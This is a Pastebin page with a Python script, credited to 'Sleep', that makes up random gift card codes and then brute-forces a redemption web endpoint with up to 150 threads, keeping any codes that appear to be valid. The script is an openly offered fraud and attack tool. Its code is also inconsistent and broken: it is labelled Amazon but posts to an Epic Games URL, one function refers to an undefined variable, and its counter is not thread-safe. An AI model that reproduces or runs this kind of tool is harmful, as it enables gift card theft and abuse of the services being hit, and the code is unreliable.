Advertisement
Dgame321

Untitled

Nov 12th, 2019
6,555
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.23 KB | None | 0 0
  1. import requests
  2. import threading
  3. import time
  4. from colorama import init, Fore
  5. import ctypes
  6. import string
  7. import random
  8.  
  9. init(convert=True)
  10. ctypes.windll.kernel32.SetConsoleTitleW("Amazon Gen and Checker by Sleep")
  11. text = '''
  12. ,---. ,----.
  13. / O \ ,--,--,--. ,--,--.,-----. ,---. ,--,--, ' .-./ ,---. ,--,--,
  14. | .-. || |' ,-. |`-. / | .-. || \ | | .---.| .-. :| \
  15. | | | || | | |\ '-' | / `-.' '-' '| || | ' '--' |\ --.| || |
  16. `--' `--'`--`--`--' `--`--'`-----' `---' `--''--' `------' `----'`--''--'
  17. '''
  18. print(Fore.CYAN + text + '\n\n')
  19. print(Fore.CYAN + '[1] Generate Codes\n[2] Check Codes\n' + Fore.WHITE, end='')
  20. option = str(input())
  21.  
  22. if option == '1':
  23. amount = int(input('Enter Amount of codes: '))
  24. fix = 0
  25. f = open('giftcards.txt','a')
  26. while fix <= amount:
  27. code = ('').join(random.choices(string.ascii_letters.upper() + string.digits.upper(), k=13))
  28. f.write(code.upper() + '\n')
  29. print(Fore.GREEN + code.upper())
  30. fix += 1
  31. ctypes.windll.kernel32.SetConsoleTitleW("Generated Codes: " + str(fix) + "/" + str(amount))
  32. if option == '2':
  33. giftcards = []
  34. num = 0
  35. valid = 0
  36. invalid = 0
  37.  
  38.  
  39. def load_accounts():
  40. with open('giftcards.txt','r', encoding='utf8') as f:
  41. for x in f.readlines():
  42. giftcards.append(x.strip())
  43.  
  44. def safe_print(content):
  45. print("{}\n".format(content))
  46.  
  47. def save(giftcard):
  48. with open('valid.txt','a', encoding='utf8') as f:
  49. f.write(giftcard + '\n')
  50.  
  51. def checker():
  52. global giftcards
  53. global num
  54. global counter
  55. global invalid
  56. global valid
  57. success_keyword = """ <b>Enter claim code</b> """
  58. r = requests.post("https://www.epicgames.com/redeem?ref_=gcui_b_e_r_c_d_b_w", data={"giftcard": giftcards[num]})
  59. if success_keyword in r.text:
  60. valid += 1
  61. safe_print(Fore.GREEN + '[Valid] ' + giftcards[num])
  62. save(giftcard[num])
  63. ctypes.windll.kernel32.SetConsoleTitleW("Amazon Checker | Checked: " + str(num) + "/" + str(len(giftcards)) + " | Valid: " + str(valid) + " | Invalid: " + str(invalid) + " | Developed by Sleep")
  64. else:
  65. safe_print(Fore.RED + '[Invalid] ' + giftcards[num])
  66. invalid += 1
  67. ctypes.windll.kernel32.SetConsoleTitleW("Amazon Checker | Checked: " + str(num) + "/" + str(len(giftcards)) + " | Valid: " + str(valid) + " | Invalid: " + str(invalid) + " | Developed by Sleep")
  68.  
  69. load_accounts()
  70.  
  71. while True:
  72. if threading.active_count() < 150:
  73. threading.Thread(target=checker, args=()).start()
  74. time.sleep(0.25)
  75. num+=1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement